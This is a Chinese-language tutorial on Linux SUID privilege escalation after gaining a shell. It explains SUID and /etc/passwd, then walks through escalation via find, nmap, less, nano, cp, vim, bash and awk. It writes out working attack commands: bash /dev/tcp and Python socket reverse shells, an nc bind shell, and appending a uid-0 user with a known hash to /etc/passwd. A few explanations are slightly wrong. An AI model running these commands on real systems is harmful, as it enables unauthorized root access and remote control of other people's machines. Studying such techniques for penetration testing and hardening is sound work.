当我们Getshell后往往会遇到Linux SUID提权的问题
先放一个好用的网站:GTFOBins
什么是SUID
SUID(set uid)是Linux中的一种特殊权限
suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
linux引入了3个文件来管理用户组:
/etc/passwd
存放用户信息。/etc/shadow
存放用户密码信息。/etc/group
存放组信息。
在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
用户信息/etc/passwd
每行共有7个字段冒号隔开:
- 字段1为用户名。
- 字段2为用户的密码。
- 字段3为指UID,每个用户都有自己的uid。
- 字段4为组UID,每个用户都有不同的uid。
- 字段5为解释说明的字段。
- 字段6为指用户的根目录。
- 字段7为指登录shell,用户登录shell,当前为
/bin/zsh
表示可以登录,/sbin/nologin
标识不被授权登录。
总的来说就是:
username:password:UID:GID:GECOS:home_directory:shell
示例:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
如何利用
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0
假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
利用此特性,就可通过suid进行提权。
如何设置SUID
利用
chmod u+s filename #设置suid
chmod u-s filename #去除suid
如何查找SUID文件
常见具有suid权限的二进制可执行文件有:
nmap
vim
find
bash
more
less
nano
cp
awk
利用以下这几个命令可以找到正在系统上运行的所有SUID可执行文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
更多有关suid的可以看GTFOBins
以find / -perm -u=s -type f 2>/dev/null
讲解一下各个参数代表什么
/
表示从文件系统的顶部(根)开始并找到每个目录-perm
表示搜索随后的权限-u = s
表示查找root用户拥有的文件-type
表示我们正在寻找的文件类型f
表示常规文件,而不是目录或特殊文件2
表示该进程的第二个文件描述符,即stderr
(标准错误)>
表示重定向/dev/null
是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
也可以使用sudo -l
列出当前用户可执行的命令
进行suid提权
这里的前提都是要有suid权限
find
方法一:
find 具有suid权限的filename -exec whoami \; -quit
root (返回内容)
方法二:
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
root (返回内容)
方法三:
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;
广播shell:
靶机
find user -exec nc -lvp 4444 -e '/bin/sh' \;
攻击机
nc ip 4444
反弹shell
靶机
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;
攻击机
nc -lvp port
反弹root的shell
靶机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
或者
/usr/bin/find 1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
攻击机
nc -lvp port
nmap
适用版本:nmap2.02至5.21。
nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。
在早期的nmap版本,是可以利用
nmap --interactive
进入交互模式的,所以就可以执行shell命令
之后利用命令进行提权
nmap> !sh
sh-3.2# whoami
root
现在的版本也可以利用nmap执行shell命令,但是应该不能提权
首先我们要写一个nmap的nse脚本,命名为1.nse
os.execute('/bin/sh')
之后里面nmap命令
nmap --script=1.nse
但是还是执行的普通用户的shell命令,所以我们利用nse脚本也只能仅仅实现nmap在高版本的交互界面
less/more
less
/more
这两个命令差不多
拿less
命令进行讲解
less
也是一种查看文件的命令,但是我们也可以利用less
进行执行我们的shell命令
less /etc/passwd
之后进入交互界面,输入
!/bin/sh
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
less /etc/profile
v:shell
也是可以进入交互界面然后写入shell的
如果二进制文件设置了 SUID 位,则它不会丢弃提升的权限,并且可能会被滥用来访问文件系统、升级或维护作为 SUID 后门的特权访问。如果它用于运行,则省略像 Debian (<= Stretch) 这样的系统上允许默认 shell 以 SUID 权限运行的参数。
下面的示例创建二进制文件的本地 SUID 副本并运行它以维护提升的权限。要与现有 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序
sudo install -m =xs $(which less) .
./less file_to_read
- 注意:使用
more
和less
一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。
nano
利用nano这种比较古老的文本编辑器进入shell交互界面就比较简单了
nano
ctrl + R
ctrl + X
#shell
cp/mv
cp
和mv
覆盖方式是差不多的,这里以cp
进行详解
主要是利用cp
命令覆盖/etc/passwd
从而进行提权
覆盖过程如下:
openssl passwd -1 -salt test testaaa #生成密码哈希
(返回)$1$test$giCVmzusADSPMon2mwEWo1
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd #将一行文本追加到 passwd 文件中,包含了用户名 test 及其对应的加密密码。
cp passwd /etc/passwd #将修改过的 passwd 文件复制到 /etc/passwd,覆盖原文件
cat /etc/passwd
(返回)test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh
su - test
(输入密码testaaa)
whoami
(返回)test
vi/vim
vi
命令和vim
差不多,这里就用vim命令进行详解
首先是一种比较特殊的情况,就是vim
被配置了suid权限,所以只有root才能有权限进行读写,这种时候就是
vim.tiny /etc/passwd
:!/bin/sh
bash
bash
命令有的靶机是设置了suid权限的,有的没有设置suid权限
若有权限
id 当前用户 ID 和组信息
#uid=1024(aaaa) gid=999(aaaa) groups=999(aaaa)
bash -p 启动一个带有权限的 bash 会话
#生成一个 bash-3.2#
bash-3.2# id 查看此时的用户和组信息(结果会发生变化)
#uid=1024(aaaa) gid=999(aaaa) euid=0(root) groups=999(aaaa)
awk
awk
利用以下命令进入shell,其原理和上面的bash差不多
awk 'BEGIN {system("/bin/bash")}'
bash-3.2$ whoami
#root
通过查询历史记录从而获得信息泄露的信息
利用以下命令可以获取
cat ~/.bash_history
这个命令可以查看当前用户使用过的历史命令
有可能会得到root登录的密码
计划任务提权
可以利用
ls -l /etc/cron*
查看定期执行的计划任务,如果有用户写的脚本,那么我们可以进行脚本的修改然后回连rootshell,从而提权
遇到特殊的文件记得查查好用的网站GTFOBins
GTFOBins 是一个精心整理的 Unix 二进制文件列表,这些文件可以在配置错误的系统中用于绕过本地安全限制。
该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用,用来突破受限的 shell、提升或维持高级权限、传输文件、生成绑定或反向 shell,以及执行其他后期利用任务。
需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不存在漏洞。相反,GTFOBins 是一个指南,讲述如何在只有某些二进制文件可用的情况下,最大化利用现有资源。